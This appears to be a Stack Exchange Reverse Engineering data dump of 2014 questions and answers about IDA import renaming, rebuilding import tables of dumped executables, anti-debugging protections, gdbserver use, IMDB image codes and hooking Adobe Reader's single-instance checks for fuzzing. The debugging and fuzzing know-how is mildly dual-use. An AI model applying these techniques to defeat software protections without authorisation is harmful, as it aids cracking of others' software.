  <row Id="6121" PostTypeId="1" CreationDate="2014-08-25T17:33:56.163" Score="5" ViewCount="3089" Body="&lt;p&gt;This PE file destroys its import address table. However, all the function addresses are in this &lt;code&gt;_rdata&lt;/code&gt; segment here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AKsmK.png&quot; alt=&quot;rdata_segment&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any straight forward way to rename these functions?&lt;/p&gt;&#xA;" OwnerUserId="8383" LastEditorUserId="53" LastEditDate="2014-08-25T18:22:23.537" LastActivityDate="2017-03-09T01:21:30.230" Title="IDA Pro Renaming Imports" Tags="|ida|ida-plugin|x86-64|idapro-sdk|iat|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6122" PostTypeId="2" ParentId="6121" CreationDate="2014-08-25T17:36:21.440" Score="3" Body="&lt;p&gt;Before you dump the process's memory to disk, use a tool like &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Scylla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scylla&lt;/a&gt; to reconstruct the Import Table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y9T7Z.png&quot; alt=&quot;Scylla&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-08-25T17:36:21.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6123" PostTypeId="2" ParentId="6121" CreationDate="2014-08-25T17:47:38.533" Score="2" Body="&lt;p&gt;While in debugger, select the import table and run &lt;code&gt;idc\renimp.idc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top comment from the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;   Rename imports.&#xA;&#xA;   This script renames entries of a dynamically built import table.&#xA;   For example, from a table like this:&#xA;&#xA;      dd offset ntdll_NtPowerInformation&#xA;      dd offset ntdll_NtInitiatePowerAction&#xA;      dd offset ntdll_NtSetThreadExecutionState&#xA;      dd offset ntdll_NtRequestWakeupLatency&#xA;      dd offset ntdll_NtGetDevicePowerState&#xA;      dd offset ntdll_NtIsSystemResumeAutomatic&#xA;      dd offset ntdll_NtRequestDeviceWakeup&#xA;      dd offset ntdll_NtCancelDeviceWakeupRequest&#xA;      dd offset ntdll_RtlQueryRegistryValues&#xA;&#xA;&#xA;   it will create a table like this:&#xA;&#xA;      NtPowerInformation dd offset ntdll_NtPowerInformation&#xA;      NtInitiatePowerAction dd offset ntdll_NtInitiatePowerAction&#xA;      NtSetThreadExecutionState dd offset ntdll_NtSetThreadExecutionState&#xA;      NtRequestWakeupLatency dd offset ntdll_NtRequestWakeupLatency&#xA;      NtGetDevicePowerState dd offset ntdll_NtGetDevicePowerState&#xA;      NtIsSystemResumeAutomatic dd offset ntdll_NtIsSystemResumeAutomatic&#xA;      NtRequestDeviceWakeup dd offset ntdll_NtRequestDeviceWakeup&#xA;      NtCancelDeviceWakeupRequest dd offset ntdll_NtCancelDeviceWakeupRequest&#xA;      RtlQueryRegistryValues dd offset ntdll_RtlQueryRegistryValues&#xA;&#xA;   Usage: select the import table and run the script.&#xA;&#xA;   Known problems: if the dll name contains an underscore, the function&#xA;   names might be incorrect. Special care is taken for the ws2_32.dll but&#xA;   other dlls will have wrong function names.&#xA;&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-08-25T17:47:38.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6124" PostTypeId="1" AcceptedAnswerId="6131" CreationDate="2014-08-26T02:36:57.213" Score="5" ViewCount="3837" Body="&lt;p&gt;I am currently battling this protection on an 32-bit executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point during it's runtime, the protection gets the address of &lt;code&gt;DbgUiRemoteBreakin&lt;/code&gt; and writes a &lt;code&gt;JMP&lt;/code&gt; to &lt;code&gt;ExitProcess&lt;/code&gt; as an anti-attach technique. I decided to place a memory breakpoint on write(I also tried access) on that location figuring at the very least I'd find out what piece of code alters the code. Upon setting the breakpoint I hit &lt;kbd&gt;F9&lt;/kbd&gt; only for my memory bp to never be triggered, I tried multiple times. The code was altered, but my memory bp was not triggered. This is the first time that a memory breakpoint was not triggered for me. I am puzzled as to why this has happened. My only guess is that &lt;code&gt;DbgUiRemoteBreakin&lt;/code&gt; is located in &lt;em&gt;ntdll.dll&lt;/em&gt; and that is why guard pages don't work there.&#xA;There were also instances where I had a crash when I set a memory bp on that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am hoping somebody has encountered this and can explain more in depth. My ollydbg version is 1.10.&lt;/p&gt;&#xA;" OwnerUserId="6947" LastEditorUserId="1413" LastEditDate="2014-08-26T02:58:49.250" LastActivityDate="2014-09-28T07:44:33.950" Title="Why was my memory breakpoint not triggered in OllyDbg?" Tags="|ollydbg|pe|anti-debugging|protection|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6125" PostTypeId="1" CreationDate="2014-08-26T03:52:38.727" Score="5" ViewCount="965" Body="&lt;p&gt;When you look at any IMDB image page, the movie poster image has a url of this form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://ia.media-imdb.com/images/M/MV5BMTIxOTY1NjUyN15BMl5BanBnXkFtZTcwMjMxMDk1MQ@@._V1_SX214_AL_.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or more generally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://ia.media-imdb.com/images/M/&amp;lt;alphaNumeric&amp;gt;@@.\_V1\_SX214\_AL_.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how that alphaNumeric is generated, most likely from either the title of the movie or from the IMDB code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two examples (though many more can be found by browsing IMDB) are for Kung Fu Panda:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Title:&lt;/strong&gt; Kung Fu Panda&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;IMDB ID:&lt;/strong&gt; tt0441773&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Image URL:&lt;/strong&gt; &lt;a href=&quot;http://ia.media-imdb.com/images/M/MV5BMTIxOTY1NjUyN15BMl5BanBnXkFtZTcwMjMxMDk1MQ@@._V1_SX214_AL_.jpg&quot; rel=&quot;noreferrer&quot;&gt;http://ia.media-imdb.com/images/M/MV5BMTIxOTY1NjUyN15BMl5BanBnXkFtZTcwMjMxMDk1MQ@@._V1_SX214_AL_.jpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;AlphaNumeric:&lt;/strong&gt; MV5BMTIxOTY1NjUyN15BMl5BanBnXkFtZTcwMjMxMDk1MQ&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Title:&lt;/strong&gt; Kung Fu Panda 2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;IMDB ID:&lt;/strong&gt; tt1302011&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Image URL:&lt;/strong&gt; &lt;a href=&quot;http://ia.media-imdb.com/images/M/MV5BMTg4MTQ3NTI3Nl5BMl5BanBnXkFtZTcwNzEzODQ2NA@@._V1_SX214_AL_.jpg&quot; rel=&quot;noreferrer&quot;&gt;http://ia.media-imdb.com/images/M/MV5BMTg4MTQ3NTI3Nl5BMl5BanBnXkFtZTcwNzEzODQ2NA@@._V1_SX214_AL_.jpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;AlphaNumeric:&lt;/strong&gt; MV5BMTg4MTQ3NTI3Nl5BMl5BanBnXkFtZTcwNzEzODQ2NA&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've made some progress, seeing as the AlphaNumeric is Base64 encoded (the first one becomes 1^A1219656527^A2^Ajpg^Ame702310951), or at least I'm pretty sure based off of the 'jpg' text.  However, I'm not sure how the numbers after the first ^A and the last ^Ame are generated.  If anyone can find a relationship between the movies or their IMDB codes and those numbers, that would be fantastic!&lt;/p&gt;&#xA;" OwnerUserId="8389" LastActivityDate="2015-07-01T04:38:11.140" Title="Finding how IMDB creates its image codes" Tags="|api|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6127" PostTypeId="1" CreationDate="2014-08-26T22:47:36.687" Score="6" ViewCount="3460" Body="&lt;p&gt;I want to send gdb command (like &quot;backtrace&quot;, &quot;b *0xAAAAAAA&quot;, &quot;i b&quot;, ...) from IDA debugger to gdbserver over gdb remote debugging and receive result and print it to output view of IDA, can I do it? Anyone have tried it before? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that function &quot;SendDbgCommand&quot; in IDA help &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Send arbitrary command to the debugger engine. Returns: the command&#xA;  output.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note: this function is available for the following debuggers: windbg,&#xA;  gdb, bochs&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;string SendDbgCommand(string cmd);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when i tried it, in idc script or idapython script, it didn't work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more detail: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i used ida 6.1 remote GDB debugger and my remote machine is Ubuntu, run command &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gdbserver --multi localhost:12345&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;as normal remote debugging session and everything is alright&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, i want to use other gdb commands (like above) beside operators provided by ida GUI&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i tried idapython script from: &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/Scripts/DbgCmd.py?r=344&quot; rel=&quot;noreferrer&quot;&gt;https://code.google.com/p/idapython/source/browse/trunk/Scripts/DbgCmd.py?r=344&lt;/a&gt;&#xA;but it didn't work, when execute SendDbgCommand, it return IDC_FAILURE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;if s.startswith(&quot;IDC_FAILURE&quot;):&#xA;    raise Exception, &quot;Debugger command is available only when the debugger is active!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i also tried use SendDbgCommand in idc script but i didn't work too, it returns 0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me please? Thank you so much! &lt;/p&gt;&#xA;" OwnerUserId="8267" LastEditorUserId="8267" LastEditDate="2014-08-27T10:41:47.677" LastActivityDate="2014-08-27T12:10:17.980" Title="Can I send gdb command from IDA Debugger to gdbserver?" Tags="|ida|gdb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6128" PostTypeId="1" CreationDate="2014-08-27T10:01:27.507" Score="1" ViewCount="266" Body="&lt;p&gt;I have been fuzzing &lt;strong&gt;Adobe Reader&lt;/strong&gt; for a while now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the issue that I face is running multiple instances of same application. If I'm able to run multiple instances of same application, I will be utilizing my CPU cycles efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, the issue is, applications like Adobe Reader, does not allow multiple instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way by which I can run multiple instances of application that does not support multiple instance and fuzz them efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I'm trying to find ways by which I can achieve my goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the idea is to &lt;strong&gt;hook functions&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please share your views and opinions.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4671" LastActivityDate="2014-08-27T13:55:38.150" Title="Run multiple instances of same application - Adobe Reader" Tags="|fuzzing|vulnerability-analysis|multi-process|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6129" PostTypeId="2" ParentId="6127" CreationDate="2014-08-27T12:10:17.980" Score="2" Body="&lt;p&gt;The commands you're trying to use are implemented in the GDB executable, not &lt;code&gt;gdbserver&lt;/code&gt;. The &lt;code&gt;gdbserver&lt;/code&gt; implements the &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Remote-Protocol.html&quot; rel=&quot;nofollow&quot;&gt;Remote Serial Protocol&lt;/a&gt;, and IDA is using that to send commands (read/write registers/memory, set breakpoints etc.) and get results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IDA is not using the GDB program itself, it cannot process its commands. You need to use IDA commands to control the executable and retrieve the information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;GDB&quot; commandline at the bottom allows you to send the so-called &quot;monitor commands&quot; which allow the remote stub to implement various functionality not covered by the protocol. For example, VMWare's GDB stub supports &quot;r&quot; command to get details about some registers.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-08-27T12:10:17.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6130" PostTypeId="2" ParentId="6128" CreationDate="2014-08-27T13:55:38.150" Score="3" Body="&lt;p&gt;Adobe Reader uses the following two methods to determine if another instance is running:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateSemaphoreW(NULL, 0, 1, L&quot;Acrobat Viewer&quot;)&lt;/code&gt; followed by&#xA;&lt;code&gt;GetLastError() == ERROR_ALREADY_EXISTS&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FindWindowW(L&quot;Acrobat Viewer&quot;, NULL) != NULL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So as long as you hook those two functions appropriately or patch the code that performs those checks, you will be able to run multiple instances of Adobe Reader.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-08-27T13:55:38.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6131" PostTypeId="2" ParentId="6124" CreationDate="2014-08-27T17:10:11.960" Score="2" Body="&lt;p&gt;The most likely reason why your breakpoint didn't get hit is because the protected file removed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: If the breakpoint was hardware-based, then the protected file can use &lt;code&gt;GetThreadContext()&lt;/code&gt;, erase the DR entries, &lt;code&gt;SetThreadContext()&lt;/code&gt;. If the breakpoint was page-protection-based, then the protected file can use &lt;code&gt;VirtualProtect()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="53" LastEditDate="2014-08-29T06:45:21.237" LastActivityDate="2014-08-29T06:45:21.237" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6132" PostTypeId="1" CreationDate="2014-08-28T06:16:25.197" Score="1" ViewCount="232" Body="&lt;p&gt;I got a mach-o executable and a static library that has a few &lt;code&gt;__attribute__((constructor))&lt;/code&gt; functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a (least painful) way to merge the static library into the mach-o executable ?&lt;/p&gt;&#xA;" OwnerUserId="3468" LastEditorUserId="53" LastEditDate="2014-08-28T08:01:24.427" LastActivityDate="2014-08-28T08:01:24.427" Title="Merging static library into mach-o executable" Tags="|mach-o|dynamic-linking|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6133" PostTypeId="1" CreationDate="2014-08-28T21:42:40.760" Score="1" ViewCount="77" Body="&lt;p&gt;Is it possible to create a dynamic library &lt;code&gt;libXXX.so&lt;/code&gt; with android ndk that has a function that switches out methods in loaded classes in the dvm and call it from any apk ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are functions within &lt;code&gt;libdvm.so&lt;/code&gt; to find loaded classes that could be used. Is this not as useful as I think it is or am I missing how difficult it is ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only example I found of someone doing this is explained in this blog post:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://shadowwhowalks.blogspot.com/2013/02/android-replacing-system-classes.html&quot; rel=&quot;nofollow&quot;&gt;Android hacking: replacing system classes methods with your own&lt;/a&gt;, by Andrey Petrov.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8407" LastEditorUserId="53" LastEditDate="2014-08-29T06:43:23.960" LastActivityDate="2014-08-29T06:43:23.960" Title="Creating shared object library to switch out loaded methods" Tags="|c|android|function-hooking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6134" PostTypeId="1" CreationDate="2014-08-28T22:32:49.383" Score="1" ViewCount="1052" Body="&lt;p&gt;I have been rebuilding the IAT for an executable and have used ImpRec though some of the thunks are showing up as invalid even though on the apparent they show the &lt;code&gt;rva&lt;/code&gt;, &lt;code&gt;mod&lt;/code&gt;, &lt;code&gt;ord&lt;/code&gt; and &lt;code&gt;name&lt;/code&gt; fields just like the valid thunks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just delete the thunks which are highlighted as invalid or do further analysis and if so how ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFJUM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6978" LastEditorUserId="53" LastEditDate="2014-08-29T06:44:30.890" LastActivityDate="2014-08-29T06:44:30.890" Title="ImpRec invalid thunks seem valid" Tags="|debugging|iat|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6135" PostTypeId="2" ParentId="6134" CreationDate="2014-08-29T02:47:07.467" Score="3" Body="&lt;p&gt;Import REConstructor detected thunks for 2 different DLLs (&lt;code&gt;combase.dll&lt;/code&gt; and &lt;code&gt;ole32.dll&lt;/code&gt;) without a &lt;code&gt;0x00000000&lt;/code&gt; separator entry between the thunks. This is because one of these DLLs (&lt;code&gt;ole32.dll&lt;/code&gt;) exports functions that are forwarded to the other DLL (&lt;code&gt;combase.dll&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Import REConstructor needs all adjacent thunks (without a &lt;code&gt;0x00000000&lt;/code&gt; in between them) to be from the same DLL, so to fix this problem, you'll need to double-click on each of those &lt;code&gt;combase.dll&lt;/code&gt; thunks and specify the forwarding function from &lt;code&gt;ole32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, double-click on the &lt;code&gt;combase.dll!CLSIDFromString&lt;/code&gt; entry and tell Import REConstructor that its Import Table entry should actually be &lt;code&gt;ole32.dll!CLSIDFromString&lt;/code&gt;, then double-click on the &lt;code&gt;combase.dll!CLSIDFromProgID&lt;/code&gt; entry and tell Import REConstructor that its Import Table entry should actually be &lt;code&gt;ole32.dll!CLSIDFromProgID&lt;/code&gt;, then the same for &lt;code&gt;CoTaskMemFree&lt;/code&gt;, &lt;code&gt;CreateStreamOnHGlobal&lt;/code&gt;, etc. Note that you'll need to do this for all &lt;code&gt;combase.dll&lt;/code&gt; thunks in this block, not just the ones that are currently highlighted as invalid.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-08-29T02:47:07.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6136" PostTypeId="2" ParentId="3789" CreationDate="2014-08-29T07:04:41.477" Score="2" Body="&lt;p&gt;As I review your application (Fire.COM), I think you should use some DOS debugger like Turbo Debugger 5.0 to debug and reverse this application because I have some encrypted stage in it. If you want to &quot;decompile&quot; these application to C code, it's very hard, I had tried some tools in the past (2008) but there was not a good tool to do it. I also got a C source but there was many inline assembly in it.&lt;/p&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2014-08-29T07:04:41.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6137" PostTypeId="2" ParentId="3789" CreationDate="2014-08-29T08:14:29.127" Score="4" Body="&lt;p&gt;I recently found a DOS program which turns .COM and .EXE into a simple &quot;pseudo-code&quot;.&#xA;The program is   ---   exe2c.zip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.codeforge.com/dlpre/201558/cb2e19437871.zip__.html&quot; rel=&quot;nofollow&quot;&gt;http://www.codeforge.com/dlpre/201558/cb2e19437871.zip__.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not an &quot;excellent&quot; tool, but i found it useful.&#xA;Start by executing    ENVMNU.EXE    and then entering the .COM or .EXE filename.&#xA;---(hint?)  If better results are necessary, use the individual modules&#xA;( such as the DOS to ASM module ) and hand-edit ASM discrepancies &#xA;then feed them to the ASM to C module and observe the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- William Gallant&lt;/p&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2014-08-29T08:14:29.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6138" PostTypeId="2" ParentId="6048" CreationDate="2014-08-29T14:37:25.173" Score="2" Body="&lt;p&gt;It is typically true that DOS loads a &lt;code&gt;.EXE&lt;/code&gt; program immediately after the PSP, meaning in your terms that base - &lt;code&gt;PSP == 0x0010&lt;/code&gt;. But it's not necessarily true, and if you were writing this (or any) DOS executable, you might do better to know this. However, this is not you. Instead, here, you are a reverse engineer - or at least trying your hand at being one. What counts is therefore not what is true of DOS in all generality but what was in the programmer's mind, whether right or wrong, for the particular executable that you are studying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this program is relocating some of its code to a segment that it computes by adding what I take you to mean as a hard-coded &lt;code&gt;0x2BE7&lt;/code&gt; to &lt;code&gt;PSPseg&lt;/code&gt;, then the programmer was very likely relying on his program's base address to be &lt;code&gt;PSPseg + 0x0010&lt;/code&gt;. Of course, more precise understanding of where &lt;code&gt;0x2BE7&lt;/code&gt; comes from might show that the programmer has been more careful. Not that I've reverse-engineered any DOS code in a long, long time, but I recall that mapping the program's segmentation (including its allowances for uninitialised data, a heap, and a stack) was often a useful preparation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to the generality... Whatever may be said in &quot;probably the best DOS programming reference&quot;, a DOS programmer should not rely on program material to be loaded immediately after the PSP. Although it will be true overwhelmingly often in practice, an exceptional case exists and is: first, documented, if obscurely; and second, not entirely within the programmer's control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The case arises when the &lt;code&gt;e_maxalloc&lt;/code&gt; member of the &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt; is zero. This can be set at link-time, but also later via tools such as &lt;code&gt;EXEHDR&lt;/code&gt;. DOS interprets zero for this member as a direction to arrange the program in an unusual way within whatever memory block DOS has found for loading the program into. The PSP goes at the base, as usual, but the program material is placed as high as possible within the block. Space between is left uninitialised. &lt;/p&gt;&#xA;" OwnerUserId="8411" LastEditorUserId="53" LastEditDate="2014-08-29T14:54:44.397" LastActivityDate="2014-08-29T14:54:44.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6139" PostTypeId="1" CreationDate="2014-08-29T18:18:19.653" Score="1" ViewCount="1993" Body="&lt;p&gt;A week ago, I've loaded an app into Olly, as an exercise and out of curiosity. It has been successfully loaded and I've found out that there's no protection of any kind applied (all strings are &quot;plaintext&quot;, no anti-debugging techniques, simply nothing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, I wanted to come back to said program and suddenly I'm unable to load it into Olly - even before Olly starts its analysis (the bar in the bottom of the window), the process terminates and I land in ntdll.dll.&#xA;If run without a debugger, the exe works fine - there seem to be no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really puzzled because since then I've made two changes to my PC: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Installed Nod32 4 (disabled it, nothing changed)&lt;/li&gt;&#xA;&lt;li&gt;Downloaded WDK 8.1 from this page:&#xA;&lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg454513.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/windows/hardware/gg454513.aspx&lt;/a&gt; (uninstalled, didn't help either)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've also tried this on another PC which hasn't been even powered on for the last month and is basically a clean Win7 install, still to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the first glance, this probably looks like battling a TLS Callback protection, but as I said, I'm &lt;strong&gt;certain&lt;/strong&gt; the exe has no protection at all, as I've been able to play around with it a couple days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any 'common' causes for such behavior?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2014-08-31T21:53:25.240" Title="Suddenly unable to load exe into OllyDbg - process terminates before execution" Tags="|ollydbg|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6140" PostTypeId="1" AcceptedAnswerId="6470" CreationDate="2014-08-29T21:08:24.193" Score="2" ViewCount="5878" Body="&lt;p&gt;In my OllyDbg v1.10, when I attempt to attach the debugger to a running process, Olly behaves as if it was successful, but the process is frozen (I'm unable to bring the window back up). I've tried switching to the main module, hitting F9 - still nothing, the process simply halts (&quot;Paused&quot; in Olly). I've found this issue described by a user on some forum, but it had remained unresolved as others had trouble reproducing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this for MS Notepad, Calc, regedit and a propetriary 3rd party application, and the result is the same everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not hold true for Olly 2.0 - that version behaves as expected, simply attaches to the process and lets me explore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS is a 32-bit Windows 7 Ultimate.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2015-01-29T19:29:50.667" Title="OllyDbg 1.10 - attaching to running process suspends it indefinitely" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6141" PostTypeId="1" CreationDate="2014-08-29T23:58:09.297" Score="3" ViewCount="2902" Body="&lt;p&gt;i have the following assembly lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;LEA   EAX, DWORD PTR DS:[0x404212]&#xA;MOV   DWORD PTR SS:[EBP-0x3CC], EAX&#xA;PUSH  DWORD PTR SS:[EBP-0x3CC]&#xA;...&#xA;...&#xA;...&#xA;LEA   EAX, DWORD PTR DS:[0x404213]&#xA;MOV   DWORD PTR SS:[EBP-0x3D0], EAX&#xA;PUSH  DWORD PTR SS:[EBP-0x3D0]&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I asked myself how I can that piece of code translate into a higher language like C? Or a pseudo C language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, for the the two blocks I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; UNKNOWNTYPE *eax_pointer_1;     //points to 00404212&#xA; UNKNOWNTYPE *eax_pointer_2;     //points to 00404213&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In ollydbg, I see that at the address 00404212 there is the following line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD BYTE PTR DS:[EAX], DH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and at the address 00404213, there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR BYTE PTR DS:[EAX], AL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question would be : Is that a correct transformation? Have you some ideas how I can the instructions at &lt;strong&gt;00404212&lt;/strong&gt; and &lt;strong&gt;00404213&lt;/strong&gt; make part of my transformation into a pseudo-C language?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-09-03T15:30:52.180" Title="Understanding of some assembly lines" Tags="|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
